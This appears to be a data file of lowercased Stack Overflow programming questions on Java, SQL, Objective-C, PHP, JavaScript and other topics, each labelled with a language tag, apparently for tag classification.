controllers code work in development. if i remove the line with dtoptionsbuilder.newoptions(...).withbootstrap  the testing code works. but i need that code in development.,angularjs
how to print all letters (a to z) in objective c using nsstring  i have created nsstring instance and using that instance how to print all letters separately.    i am new to ios...thanks in advance.,objective-c
how do i make my code list all the possibilities of 2 dice being rolled using for loops   <em>/write a program that prints all possible dice rolls with 2 dice. to do so  you should use a double for loop. hint: you can’t use i for both for loops./</em>   <pre><code>var sides_on_dice = 6;  for(var y = 1; y &lt;=6; y++){     println(y); } </code></pre>   <em>/ i don t know how i would list all the possible dice rolls with for loops. more specifically  how would i go about solving this  i m thinking i have to make it so my two variables for the 2 dice (lets call it x and y) have to increment in relation to each other. so for example  the dice rolls will be 1 1 then 1 2 until 1 6. then it goes to 2 1 etc etc. i m thinking i need to increment the dice in relation to each other  so for example i make it so dice x increments by 1 every time dice y is equal to 6. how would i do this with for loops  or is there a better way to go about solving this  thank you</em>/,javascript
java.lang.classnotfoundexception: ch.qos.logback.classic.spi.throwableproxy   while starting my weblogic(having my app war file containing logback-classic-1.0.1.jar) i am getting below exception.any  suggestion     <pre><code>&lt;sep 9  2015 9:27:13 am utc&gt; &lt;warning&gt; &lt;common&gt; &lt;bea-000632&gt; &lt;resource pool  jdbc data source-0  shutting down  ignoring 3 resources still in use by applications..&gt; exception in thread  thread-12  java.lang.noclassdeffounderror: ch/qos/logback/classic/spi/throwableproxy         at ch.qos.logback.classic.spi.loggingevent.&lt;init&gt;(loggingevent.java:125)         at ch.qos.logback.classic.logger.buildloggingeventandappend(logger.java:468)         at ch.qos.logback.classic.logger.filterandlog_0_or3plus(logger.java:424)         at ch.qos.logback.classic.logger.log(logger.java:824)         at org.apache.commons.logging.impl.slf4jlocationawarelog.error(slf4jlocationawarelog.java:225)         at org.springframework.transaction.interceptor.transactionaspectsupport.completetransactionafterthrowing(transactionaspectsupport.java:415)         at org.springframework.transaction.interceptor.transactioninterceptor.invoke(transactioninterceptor.java:114)         at org.springframework.aop.framework.reflectivemethodinvocation.proceed(reflectivemethodinvocation.java:172)         at org.springframework.cache.interceptor.cacheinterceptor$1.invoke(cacheinterceptor.java:58)         at org.springframework.cache.interceptor.cacheaspectsupport.execute(cacheaspectsupport.java:213)         at org.springframework.cache.interceptor.cacheinterceptor.invoke(cacheinterceptor.java:66)         at org.springframework.aop.framework.reflectivemethodinvocation.proceed(reflectivemethodinvocation.java:172)         at org.springframework.aop.framework.cglib2aopproxy$dynamicadvisedinterceptor.intercept(cglib2aopproxy.java:622)         ................         at java.lang.thread.run(thread.java:701) caused by: java.lang.classnotfoundexception: ch.qos.logback.classic.spi.throwableproxy         at weblogic.utils.classloaders.genericclassloader.findlocalclass(genericclassloader.java:297)         at weblogic.utils.classloaders.genericclassloader.findclass(genericclassloader.java:270)         at weblogic.utils.classloaders.changeawareclassloader.findclass(changeawareclassloader.java:64)         at java.lang.classloader.loadclass(classloader.java:323)         at java.lang.classloader.loadclass(classloader.java:268)         at weblogic.utils.classloaders.genericclassloader.loadclass(genericclassloader.java:179)         at weblogic.utils.classloaders.changeawareclassloader.loadclass(changeawareclassloader.java:52)         ... 18 more exception in thread  thread-18  java.lang.noclassdeffounderror: ch/qos/logback/classic/spi/throwableproxy         at ch.qos.logback.classic.spi.loggingevent.&lt;init&gt;(loggingevent.java:125)         at ch.qos.logback.classic.logger.buildloggingeventandappend(logger.java:468)         at ch.qos.logback.classic.logger.filterandlog_0_or3plus(logger.java:424)         at ch.qos.logback.classic.logger.log(logger.java:824)         at org.apache.commons.logging.impl.slf4jlocationawarelog.error(slf4jlocationawarelog.java:225)         at org.springframework.transaction.interceptor.transactionaspectsupport.completetransactionafterthrowing(transactionaspectsupport.java:415)         at org.springframework.transaction.interceptor.transactioninterceptor.invoke(transactioninterceptor.java:114)         at org.springframework.aop.framework.reflectivemethodinvocation.proceed(reflectivemethodinvocation.java:172)         at org.springframework.cache.interceptor.cacheinterceptor$1.invoke(cacheinterceptor.java:58)         at org.springframework.cache.interceptor.cacheaspectsupport.execute(cacheaspectsupport.java:213)         at org.springframework.cache.interceptor.cacheinterceptor.invoke(cacheinterceptor.java:66)         at org.springframework.aop.framework.reflectivemethodinvocation.proceed(reflectivemethodinvocation.java:172)         at org.springframework.aop.framework.cglib2aopproxy$dynamicadvisedinterceptor.intercept(cglib2aopproxy.java:622)         .......................         at java.lang.thread.run(thread.java:701) caused by: java.lang.classnotfoundexception: ch.qos.logback.classic.spi.throwableproxy         at weblogic.utils.classloaders.genericclassloader.findlocalclass(genericclassloader.java:297)         at weblogic.utils.classloaders.genericclassloader.findclass(genericclassloader.java:270)         at weblogic.utils.classloaders.changeawareclassloader.findclass(changeawareclassloader.java:64)         at java.lang.classloader.loadclass(classloader.java:323)         at java.lang.classloader.loadclass(classloader.java:268)         at weblogic.utils.classloaders.genericclassloader.loadclass(genericclassloader.java:179)         at weblogic.utils.classloaders.changeawareclassloader.loadclass(changeawareclassloader.java:52)     ... 18 more </code></pre>,java
reference datatype javascript  from what i can infer from these 2 sources:    <a href= http://docstore.mik.ua/orelly/webprog/jscript/ch03_12.htm  rel= nofollow noreferrer >source 1</a> and <a href= https://stackoverflow.com/questions/3907613/how-is-a-javascript-string-not-an-object >source 2</a>     is that in javascript when a primitive datatype is used in the context of the object  it is internally converted to an object. but this is just a <strong>temporary conversion</strong> in that the object will be removed from memory after it is used.    my question is what is the <strong>advantage of using such an approach </strong> is it to just save memory  or is there any other advt.,javascript
double to string  i need a double to string to be displayed with max x chars after the decimal separator.    i tried   <pre><code> string.format( {0 10}   1.234567890123456789)  1 23456789012346    string.format( {0:f10}   1 234567890123456789)  1 0000000000  </code></pre>,.net
string returns number instead of text   my problem is that when a single checkbox is checked it shows the text it is supposed to. but when both checkboxes are checked it only shows the text of the second one.   <pre><code>public class mainactivity extends activity {      textview text;     checkbox firstcheck  secondcheck;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          firstcheck = (checkbox) findviewbyid(r.id.checkbox1);         secondcheck = (checkbox) findviewbyid(r.id.checkbox2);         text = (textview) findviewbyid(r.id.textview2);     }      public void buttonclick(view view) {         if(firstcheck.ischecked()) {             text.settext(r.string.checkbox_1);         }         if(secondcheck.ischecked()) {             text.settext(r.string.checkbox_2);         }         if(firstcheck.ischecked()==false &amp;&amp; secondcheck.ischecked()==false) {             text.settext(r.string.unchecked);         }     } } </code></pre>   <strong>strings.xml</strong>   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;resources&gt;      &lt;string name= app_name &gt;les 2_1&lt;/string&gt;     &lt;string name= hello_world &gt;hello world!&lt;/string&gt;     &lt;string name= checkbox_1 &gt;checkbox 1 &lt;/string&gt;     &lt;string name= checkbox_2 &gt;checkbox 2&lt;/string&gt;     &lt;string name= button_1 &gt;click here!&lt;/string&gt;     &lt;string name= textview_2 &gt;and &lt;/string&gt;     &lt;string name= unchecked &gt;no buttons checked!&lt;/string&gt;  &lt;/resources&gt; </code></pre>,android
pass two variable argument list  i know this works very well:   <pre><code>def locations(city  *other_cities):      print(city  other_cities) </code></pre>   now i need two  variable argument list  like   <pre><code>def myfunction(type  id  *arg1  *arg2):     # do somethong     other_function(arg1)      #do something     other_function2(*arg2) </code></pre>   but python does not allow to use this twice,python
is it possible to change a const struct member in c   i have to change  a const member of a const struct instance in c.    i already know it is possible to change a const basic type as follows:   <pre><code>const int a = 2; *(int*)&amp;a = 3; </code></pre>   i also can change a const member of a struct instance as follows:   <pre><code>typedef struct st {   const int a;   const int b; }st; st st = {.a = 1 .b =2};  int main() {     *(int *)(&amp;((*(st*)(&amp;st)).a)) = 5; //works fine   no problem } </code></pre>   however i had no success trying to change the const member of the struct instance  if the instance is constant:   <pre><code>typedef struct st {   const int a;   const int b; }st;  const st st = {.a = 2 .b=3}; //const instance  int main() {     *(int *)(&amp;((*(st*)(&amp;st)).a)) = 5; //does not work(seg fault)!! } </code></pre>   so   would it be possible to change the  a  member value in this last scenario  if not   why,c
how to check that specific vector exist in list of vectors in java   i have list of vectors of bits(0 and 1) and i want to check that specific vector of bits exist in that list. i used this code but the answer not correct.   <pre><code>if(bitset2.contains(bi))     system.out.println( data found in file );          else     system.out.println( data not found in files  ); </code></pre>   <code>bitset2</code> represent list of vectors of bits and <code>bi</code> is the vector of bits.    this code always print <code>data not found in files</code> although the vector exists in list and the condition is verified.,java
what is the effect of this order_by clause   i don t understand what this order_by clause is doing and whether i need it or not:   <pre><code>select c.customerid  c.firstname  c.lastname  i.order_date  i.item  i.price from  items_ordered i  customers c  where i.customerid = c.customerid group by c.customerid  i.item  i.order_date order by i.order_date desc; </code></pre>   this produces this data:   <pre><code>10330   shawn   dalton  30-jun-1999 pogo stick  28.00 10101   john    gray    30-jun-1999 raft    58.00 10410   mary ann    howell  30-jan-2000 unicycle    192.50 10101   john    gray    30-dec-1999 hoola hoop  14.75 10449   isabela moore   29-feb-2000 flashlight  4.50 10410   mary ann    howell  28-oct-1999 sleeping bag    89.22 10339   anthony sanchez 27-jul-1999 umbrella    4.50 10449   isabela moore   22-dec-1999 canoe   280.00 10298   leroy   brown   19-sep-1999 lantern 29.00 10449   isabela moore   19-mar-2000 canoe paddle    40.00 10413   donald  davids  19-jan-2000 lawnchair   32.00 10330   shawn   dalton  19-apr-2000 shovel  16.75 10439   conrad  giles   18-sep-1999 tent    88.00 10298   leroy   brown   18-mar-2000 pocket knife    22.38 10299   elroy   keller  18-jan-2000 inflatable mattress 38.00 10438   kevin   smith   18-jan-2000 tent    79.99 10101   john    gray    18-aug-1999 rain coat   18.30 10449   isabela moore   15-dec-1999 bicycle 380.50 10439   conrad  giles   14-aug-1999 ski poles   25.50 10449   isabela moore   13-aug-1999 unicycle    180.79 10101   john    gray    08-mar-2000 sleeping bag    88.70 10299   elroy   keller  06-jul-1999 parachute   1250.00 10438   kevin   smith   02-nov-1999 pillow  8.50 10101   john    gray    02-jan-2000 lantern 16.00 10315   lisa    jones   02-feb-2000 compass 8.00 10449   isabela moore   01-sep-1999 snow shoes  45.00 10438   kevin   smith   01-nov-1999 umbrella    6.75 10298   leroy   brown   01-jul-1999 skateboard  33.00 10101   john    gray    01-jul-1999 life vest   125.00 10330   shawn   dalton  01-jan-2000 flashlight  28.00 10298   leroy   brown   01-dec-1999 helmet  22.00 10298   leroy   brown   01-apr-2000 ear muffs   12.50 </code></pre>   while if i remove the order_by clause completely  as in this query:   <pre><code>select c.customerid  c.firstname  c.lastname  i.order_date  i.item  i.price from  items_ordered i  customers c  where i.customerid = c.customerid group by c.customerid  i.item  i.order_date; </code></pre>   i get these results:   <pre><code>10101   john    gray    30-dec-1999 hoola hoop  14.75 10101   john    gray    02-jan-2000 lantern 16.00 10101   john    gray    01-jul-1999 life vest   125.00 10101   john    gray    30-jun-1999 raft    58.00 10101   john    gray    18-aug-1999 rain coat   18.30 10101   john    gray    08-mar-2000 sleeping bag    88.70 10298   leroy   brown   01-apr-2000 ear muffs   12.50 10298   leroy   brown   01-dec-1999 helmet  22.00 10298   leroy   brown   19-sep-1999 lantern 29.00 10298   leroy   brown   18-mar-2000 pocket knife    22.38 10298   leroy   brown   01-jul-1999 skateboard  33.00 10299   elroy   keller  18-jan-2000 inflatable mattress 38.00 10299   elroy   keller  06-jul-1999 parachute   1250.00 10315   lisa    jones   02-feb-2000 compass 8.00 10330   shawn   dalton  01-jan-2000 flashlight  28.00 10330   shawn   dalton  30-jun-1999 pogo stick  28.00 10330   shawn   dalton  19-apr-2000 shovel  16.75 10339   anthony sanchez 27-jul-1999 umbrella    4.50 10410   mary ann    howell  28-oct-1999 sleeping bag    89.22 10410   mary ann    howell  30-jan-2000 unicycle    192.50 10413   donald  davids  19-jan-2000 lawnchair   32.00 10438   kevin   smith   02-nov-1999 pillow  8.50 10438   kevin   smith   18-jan-2000 tent    79.99 10438   kevin   smith   01-nov-1999 umbrella    6.75 10439   conrad  giles   14-aug-1999 ski poles   25.50 10439   conrad  giles   18-sep-1999 tent    88.00 10449   isabela moore   15-dec-1999 bicycle 380.50 10449   isabela moore   22-dec-1999 canoe   280.00 10449   isabela moore   19-mar-2000 canoe paddle    40.00 10449   isabela moore   29-feb-2000 flashlight  4.50 10449   isabela moore   01-sep-1999 snow shoes  45.00 10449   isabela moore   13-aug-1999 unicycle    180.79 </code></pre>   i m not sure what the order_by is doing here and if it s having the intended effects.,sql
is there any reason to use system.uri   i m looking it over and it seems to be that it is fundamentally broken.   <ul> <li>only 5 instance methods aren t marked obsolete. </li> <li>there doesn t appear to be any built-in way to parse query-string variables.</li> <li>there are no methods to mutate the uri  for example appending a new query variable.</li> <li>httputility works on strings  not uris</li> </ul>   so is there anything it is good for  should i really be using this instead of just strings,.net
does it delete partially if execute a delete statement without transaction   if the table mytable contains 100000000 records.    and i execute <code>delete from mytable;</code> without begin transaction and somethings go wrong  such as server power failure.    will it delete some of the records,sql
uninitialized local variable  error  despite defining variable   here s the code. it says a variable is not initialized  despite defining it at the top of the code after main function.   <pre><code>#include&lt;stdio.h&gt; int main() {     int n  sum=0; i=0;     printf( please enter a number to evaluate\n );     scanf_s( %d  &amp;n);      for(i=0; i&lt;=n; i++)     {         double(sum) = sum + double(1/n);     }      sum = (int)sum;      if(sum == 1)     {         printf( adding %d 1/%d s gives a result of 1\n  n n);     }     if(sum &lt;= 1)     {         printf( adding %d 1/%d s gives a result less than 1\n  n n);     }     if(sum &gt;= 1)     {         printf( adding %d 1/%d s gives a result greater than 1\n  n n);     } return(0); } </code></pre>,c
is there a built in functionality in windows.forms or wpf for shortcut chains (like in vs ctrl + k  c)  there is standard functionality for shortcuts which are modifiers + key  which is quite easy to implement  but is there a way to easely (using standard libraries) implement shortcuts like ctrl + k  c (holding ctrl press k and then c). something like keyboard gestures  but i haven t found.,.net
java pyramid/triangle using for loop  i want to print a triangle/pyramid style like:   <pre><code>   1   323  54345 7654567 </code></pre>   here is my code:   <pre><code>int lines = 5;      for (int i = 1; i &lt; lines; i++) {          for (int j = 1; j &lt; lines-i; j++) {              system.out.print(   );         }          for (int j = i; j &gt; 1; j--) { //this for loop is my problem. any solution              system.out.print(j);         }          for (int j = i; j &lt; i+i; j++) {              system.out.print(j);         }         system.out.println(); } </code></pre>   what i got is   <pre><code>   1   223  32345 4324567 </code></pre>   i been studying codes while working at office and i think week long i still could not find a solution to this even i use search in google. i am only into enhancing my logic through conditionals and no heavy object oriented or recursion yet.,java
i need to change key arrow to mouse flow  i searched google but could not find the answer .    i want to change this code :      <pre><code> function keylistener(e){          if(e.keycode==37 &amp;&amp; paddleleft &gt; 0){             //keycode 37 is left arrow             paddleleft -= 10;             paddle.style.left = paddleleft +  px ;         }         if(e.keycode==39 &amp;&amp; paddleleft &lt; 436){             //keycode 39 is right arrow             paddleleft += 10;             paddle.style.left = paddleleft +  px ;         }         //fyi - keycode 38 is up arrow  keycode 40 is down arrow     }      function start(){         //game loop         detectcollisions();         render();         difficulty();          //end conditions         if(balltop &lt; 470){             //still in play - keep the loop going             timer = settimeout( start()  50);         }         else{             gameover();         }     }      function detectcollisions(){         //just reflect the ball on a collision         //a more robust engine could change trajectory of ball based         //on where the ball hits the paddle         if(collisionx())             dx = dx * -1;         if(collisiony())             dy = dy * -1;     }      function collisionx(){         //check left and right boundaries         if(ballleft &lt; 4 || ballleft &gt; 285)             return true;         return false;     }      function collisiony(){         //check if at top of playing area         if(balltop &lt; 4)             return true;         //check to see if ball collided with paddle         if(balltop &gt; 400){             if(ballleft &gt; paddleleft &amp;&amp; ballleft &lt; paddleleft + 64)                 return true;         }         return false;     } </code></pre>   to mouse flow,javascript
angular js: get data from span and append in another span  hello everyone i am trying to learn angular and i want to get data from a span and append in another span. please help me out fro there. my code is here    <pre><code>&lt;div ng-app=   &gt; &lt;div&gt;       name: &lt;span ng-init= firstname= ritu  &gt;ritu&lt;/span&gt;       address: &lt;span ng-init= address= uttam nagar  &gt;uttam nagar&lt;/span&gt;       city: &lt;span ng-init= city= west delhi  &gt;west delhi&lt;/span&gt;       state: &lt;span ng-init= state= delhi  &gt;delhi&lt;/span&gt; pin: &lt;span ng-init= pin= 110045  &gt;110045&lt;/span&gt; &lt;button&gt;click and show&lt;/button&gt; &lt;/div </code></pre>   and i want to show like that but after click on  show button    <pre><code>&lt;p&gt;name &lt;span ng-bind= firstname &gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;address &lt;span ng-bind= address &gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;city &lt;span ng-bind= city &gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;state &lt;span ng-bind= state &gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;pin &lt;span ng-bind= pin &gt;&lt;/span&gt;&lt;/p&gt; &lt;/div&gt; </code></pre>   thanks in advance.,angularjs
adding height:100%; to elements gives me a scrollbar  here s my html as basic as possible:   <pre><code>&lt;div class= wrapper &gt;     &lt;div class= left &gt;foo&lt;/div&gt;     &lt;div class= middle &gt;foo&lt;/div&gt;     &lt;div class= right &gt;foo&lt;/div&gt; &lt;/div&gt; </code></pre>   and here comes my css:   <pre><code>* { padding: 0; margin: 0; } html  body { height: 100%; } .wrapper { min-height: 100%; } /* left  middle and right have float:left and a width. also min-height:100%; */ </code></pre>   so  i ve tried everything. added min-heigth: 100% to all  taken it away and then put it back. still a scrollbar appears.    any ideas     martti laine,css
asp.net gridview emptydatatemplate  i have a gridview that gets updated by a dropdownlist value. using emptydatatemplate  it displays a message that basically says no value is available for the select state. the issue i am running into is  when i first go to the page that message gets pops cause the dropdownlist value is empty  is there away that i can prevent this  i want emptydatatemplate to be hidden until a user selects a value from the dropdownlist.    thank you.,asp.net
cant call release in xcode 4.5   i need some help   i am a beginner in objective-c   i tried to program my first class  but unfortunately it did not work . here is my code   <pre><code>#import &lt;foundation/foundation.h&gt; @interface fraction :nsobject{     int numerator ;     int demoniratoe ; } -(void) print; -(void) setnumerator: (int) n; -(void) setdemoniratoe: (int) b;  @end  @implementation fraction -(void) print {     nslog(@ %i/%i  numerator demoniratoe); } -(void) setnumerator: (int) n{     numerator = n; } -(void) setdemoniratoe: (int) b{     demoniratoe = b; }  @end int main(int argc  const char * argv[]) {  @autoreleasepool {      fraction *myfraction;     myfraction = [fraction alloc];     myfraction = [fraction init];      [myfraction setnumerator:1];     [myfraction setdemoniratoe:3];      nslog(@ the value of fraction is : );     [myfraction print];     [myfraction release];  }     return 0; } </code></pre>   the error message was on [myfraction release] the release is unavailable i use xcode version 4.5,objective-c
counting duplicate values in sql  i have the following information   <pre><code>game_id | team 47      | 1 47      | 1 23      | 2 31      | 1 41      | 2 47      | 8 </code></pre>   i want to count the per team number from all matches that have been played.    i want it to be this way:   <pre><code>team 1 has made 3 goals team 2 has made 2 goals team 8 made 1 goal. </code></pre>   how can i do this,sql
printing a list as a string without parentheses or commas in python  i have the list :: <code>[0  1  2  3  4  5  6  7  8  9]</code> created by a loop.     i want it to print   <pre><code>0 1 2 3 4 5 6 7 8 9 </code></pre>   i ve used the <code>.strip( [] )</code> to get rid of the parentheses but i cannot get rid of the commas.,python
how to manage cache in iphone with codes  my application requires a username and password fields.at the first login the validation working perfect.but the second time onwards there is no validation in the password field.it is automatically collected from the cache.    i am using the below codes for requesting.   <pre><code>nsmutableurlrequest *therequest = [nsmutableurlrequest requestwithurl:                             [nsurl urlwithstring:xmlurl]                                     cachepolicy:nsurlrequestuseprotocolcachepolicy                     timeoutinterval:30.0]; </code></pre>   [therequest sethttpmethod:@ get ]; nsurlresponse* response = nil;   <pre><code>[nsurlconnection sendsynchronousrequest:therequest                                        returningresponse:&amp;response error:&amp;error]; nsdictionary* dict=[therequest allhttpheaderfields]; </code></pre>   thanks in advance,iphone
why can ns_enum be defined in that way  am new to objetive-c and today i encountered ns_enum marco which can be used like:   <pre><code>typedef ns_enum(type  mytype) {  foo   bar }; </code></pre>   the usage is a little bit weird what why <code>typedof</code> must be used here  so i checked the source code of ns_enum:   <pre><code>#if (__cplusplus &amp;&amp; __cplusplus &gt;= 201103l &amp;&amp;         (__has_extension(cxx_strong_enums) ||          __has_feature(objc_fixed_enum))     ) ||     (!__cplusplus &amp;&amp; __has_feature(objc_fixed_enum))     #define ns_enum(_type  _name)             enum _name : _type _name; enum _name : _type     #if (__cplusplus)         #define ns_options(_type  _name)                 _type _name; enum : _type     #else         #define ns_options(_type  _name)                 enum _name : _type _name; enum _name : _type     #endif #else     #define ns_enum(_type  _name) _type _name; enum     #define ns_options(_type  _name) _type _name; enum #endif </code></pre>   the way ns_enum is being defined makes me more confused  because i don t understand the syntax here  could anyone explain the definition from the syntactic perspective in details  thanks.,objective-c
displaying one record at a time in php <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2941169/what-does-the-php-error-message-notice-use-of-undefined-constant-mean >what does the php error message “notice: use of undefined constant” mean </a>    </blockquote>     i am trying to display one (record) question at a time in the same page. i put a condition at the beginning of the code to check if this is the first time the page loads  if it is  then display the first record. otherwise  go to the  else  statement where the second record will be displayed. every time a record is displayed  the counter increases by one ($i++). also  i saved all the retrieved records in an array and reading the records one at a time from this array. i don t know why i am getting errors here like the the following:   <blockquote>    (1) use of undefined constant i - assumed  i         (2) undefined index: i  </blockquote>   does anyone know how to fix this problem     here is my code:   <pre><code>&lt; php   $f_name = $_session[ first_name ];  $l_name = $_session[ last_name ];   $arr_rows;  $i;   if (!isset($_post[ next ]))    { //if form is not submitted     $command2 =  select user_id from user_info where user_info.first_name =  $f_name     and user_info.last_name =  $l_name  ;    $command1 =  select * from topics  documents where topics.topic_id =documents.topic_id ;      $i=0; // counter for the number of documents per topic     $userid = mysql_query($command2);   $results = mysql_query($command1);   $num=mysql_numrows($results);    //////////////    $arr_rows = array();   while( $row = mysql_fetch_array( $results ) )   $arr_rows[] = $row;     $arr = mysql_fetch_row($userid);   $id_user = $arr[0];     echo $f_name;   $relevancy =  this is the first time to load this page ;     $f1=$arr_rows[i][ topic_name ];   $f1_topic_description=$arr_rows[i][ topic_descrip ];   $f1_doc_content=$arr_rows[i][ doc_content ];    ++$i;    }     else     { //otherwise       $relevancy = $_post[ radiogroup1 ];      $f1=$arr_rows[i][ topic_name ];     $f1_topic_description=$arr_rows[i][ topic_descrip ];     $f1_doc_content=$arr_rows[i][ doc_content ];      ++$i;      }      &gt; </code></pre>,php
why is my site seal showing twice   i had the site seal in the site footer and decided to add it to my shopping cart but when i added it in it started showing twice. i don t see the reason for it in my code but when i use inspect element in chrome i see the html code twice. please help. thanks.    code as written:   <pre><code>&lt;div&gt;     &lt;span id= siteseal &gt;&lt;script type= text/javascript  src= https://seal.godaddy.com/getseal sealid=kjgsdsjhc9cbnvz8uclh0kpnjnmidwc9qvfncacp48ayykfdysn &gt;        &lt;/script&gt;           &lt;img style= cursor:pointer;cursor:hand  src= https://seal.godaddy.com/images/3/en/siteseal_gd_3_h_l_m.gif  onclick= verifyseal(); &gt; &lt;/span&gt; &lt;/div&gt; </code></pre>   code from chrome:   <pre><code>&lt;div&gt;     &lt;script type= text/javascript  src= https://seal.godaddy.com/getseal sealid=kjgsdsjhc9cbnvz8uclh0kpnjnmidwc9qvfncacp48ayykfdysn &gt;&lt;/script&gt;          &lt;img style= cursor:pointer;cursor:hand  src= https://seal.godaddy.com/images/3/en/siteseal_gd_3_h_l_m.gif  onclick= verifyseal(); &gt;          &lt;img style= cursor:pointer;cursor:hand  src= https://seal.godaddy.com/images/3/en/siteseal_gd_3_h_l_m.gif  onclick= verifyseal(); &gt; &lt;/div&gt; </code></pre>,html
sql query with variable  where   i am new with sql.    how can i write a query  where the where condition be dependent on a statement which it will be given from a user     i have this:    <pre><code>select tablepersdaten.vorname  tablepersdaten.nachname  tablebezahlung.datum  tablebezahlung.belegnr  tablebezahlung.betrag  sum(tablebezahlung.betrag) as summevonbetrag from ((tableteilnehmer inner join tablepersdaten on tableteilnehmer.idpersdaten = tablepersdaten.idpersdaten) inner join tablekurse on tableteilnehmer.idkurs = tablekurse.idkurs) inner join tablebezahlung on tableteilnehmer.idteilnehmer = tablebezahlung.idstudent where tablebezahlung.datum =  value given from user  group by tablepersdaten.vorname  tablepersdaten.nachname  tablebezahlung.datum  tablebezahlung.belegnr  tablebezahlung.betrag order by tablebezahlung.datum; </code></pre>   edit: i m using access 2013  but i m coding everything myself with sql-code. the values should be given through a form.,sql
mainmenu = [[back alloc] initwithnibname: @ back  bundle: [nsbundle mainbundle]]; gets an  expected identifier or  (  before  =  token <pre><code>#import  gameover.h  #import  mainmenu.h   @implementation gameover @synthesize pabutton;  -(ibaction) playagain {  playagain = [[game alloc] initwithnibname: @ game  bundle: [nsbundle mainbundle]];   [[self view] addsubview: [playagain view]]; }  -(ibaction) goback {     mainmenu = [[back alloc] initwithnibname: @ back  bundle: [nsbundle mainbundle]];   [[self view] addsubview: [mainmenu view]]; } </code></pre>,objective-c
pagination in scrollview  _   <pre><code>viewdidload {     nsarray *colors = [nsarray arraywithobjects:[uicolor redcolor]  [uicolor greencolor]  [uicolor bluecolor]  nil];     for (int i = 0; i &lt; colors.count; i++) {         cgrect frame;         frame.origin.x = self.scrollview.frame.size.width * i;         frame.origin.y = 0;         frame.size = self.scrollview.frame.size;          uiview *subview = [[uiview alloc] initwithframe:frame];         subview.backgroundcolor = [colors objectatindex:i];         [self.scrollview addsubview:subview];         [subview release];     }      self.scrollview.contentsize = cgsizemake(self.scrollview.frame.size.width * colors.count  self.scrollview.frame.size.height);      self.pagecontrol.currentpage = 0;     self.pagecontrol.numberofpages = colors.count; }  - (void)scrollviewdidscroll:(uiscrollview *)sender {     if (!pagecontrolbeingused) {         // switch the indicator when more than 50% of the previous/next page is visible         cgfloat pagewidth = self.scrollview.frame.size.width;         int page = floor((self.scrollview.contentoffset.x - pagewidth / 2) / pagewidth) + 1;         self.pagecontrol.currentpage = page;     } } </code></pre>   i am using this code for displaying pagination in scrollview with different colors for identification i just want to replace it with images instead of colors.i am using this code    <pre><code>nsarray *colors = [nsarray arraywithobjects:[uiimage imagenamed:@ h1@2x ]  [uiimage imagenamed:@ h2@2x ]  [uiimage imagenamed:@ h2.1@2x ]  nil];     for (int i = 0; i &lt; colors.count; i++) {         cgrect frame;         frame.origin.x = self.scrollview.frame.size.width * i;         frame.origin.y = 0;         frame.size = self.scrollview.frame.size;          uiimageview*subview = [[uiview alloc] initwithframe:frame];         uiimage *imggg = [colors objectatindex:i];         [subview setbackgroundcolor:[uicolor colorwithpatternimage:imggg]];          [self.scrollview addsubview:subview];         [subview release];     } </code></pre>   but i get only two view  and the image is not size to fit it is delocated.how to set images with the above code.please help me to solve this problem. thanks in advance.,iphone
loop through query in oop php  so in my project i need to retrieve some data from a query that gives 2 rows(i tested the query in php my admin)    but i am using object oriented programing and my method looks like this:   <pre><code>function __construct($pid){      sys::database_connect();      $prod_data = mysql_query( select produto.produto_id  produto.nome  produto.descricao  produto.pvp  produto.iva_id  produto.fornecedor_id  produto.views  categoria.nome as categoria  imagem.file from produto  categoria  imagem where produto.produto_id =  $pid  and produto.categoria_id=categoria.categoria_id and imagem.produto_produto_id = produto.produto_id order by produto.produto_id ) or die(mysql_error());      $array_data = mysql_fetch_array($prod_data);      $this-&gt;produto_id = $array_data[ produto_id ];     $this-&gt;nome = $array_data[ nome ];     $this-&gt;descricao = $array_data[ descricao ];     $this-&gt;pvp = $array_data[ pvp ];     $this-&gt;categoria = $array_data[ categoria ];              //this is the picture name (the first one will be the main pic of the product)     $this-&gt;file = $array_data[ file ];      $pre_img_galery = array();     $max_pics=count($array_data);     for ($pci_for=0; $pci_for &lt; $max_pics; $pci_for++) {          //array_push($pre_img_galery  $array_data[ file ][$pci_for]);         echo $this-&gt;$array_data[ file ]. &lt;br&gt; ;     }     $this-&gt;img_galery = $pre_img_galery;  } </code></pre>   the database have 2 pictures and that results in 2 rows with different values at the pictures field...    my for loop just echoes the characters of the first file name characters...    how can i define the pictures file name to an array(img_galery)     my workaround:   <pre><code>function __construct($pid){      sys::database_connect();      $prod_data = mysql_query( select produto.produto_id  produto.nome  produto.descricao  produto.pvp  produto.iva_id  produto.fornecedor_id  produto.views  categoria.nome as categoria  imagem.file from produto  categoria  imagem where produto.produto_id =  $pid  and produto.categoria_id=categoria.categoria_id and imagem.produto_produto_id = produto.produto_id order by produto.produto_id ) or die(mysql_error());      /*while($row = mysql_fetch_array($prod_data)) {         echo $prod_data[ file ]. &lt;br&gt; ;     }*/      while ($row =  mysql_fetch_array($prod_data)){      echo $this-&gt;produto_id = $row[ produto_id ];     echo $this-&gt;nome = $row[ nome ];     echo $this-&gt;descricao = $row[ descricao ];     echo $this-&gt;pvp = $row[ pvp ];     echo $this-&gt;categoria = $row[ categoria ];     //echo $this-&gt;online = $array_data[ online ];     echo $this-&gt;file = $row[ file ];      $pre_img_galery = array();      array_push($this-&gt;img_galery  $row[ file ]);      echo  &lt;br&gt;&lt;br&gt;&lt;br&gt; ;     print_r($this-&gt;img_galery);     }  } </code></pre>,php
linux equivalent of including the classpath during compilation  i m following a guide that only includes compilation instructions on windows. how would one run this <code>build.bat</code> file on linux     the batch file looks like this:   <pre><code>@echo off @echo compiling... javac -classpath ..\..\lib\onewireapi.jar;%classpath% -d . .\src\*.java </code></pre>   and when i run the <code>javac</code> command on linux  it fails:   <pre><code>javac -classpath ../../lib/onewireapi.jar;%classpath% -d . ./src/readtemp.java </code></pre>   the output is:   <pre><code>javac: no source files </code></pre>   what is the correct way to do this,java
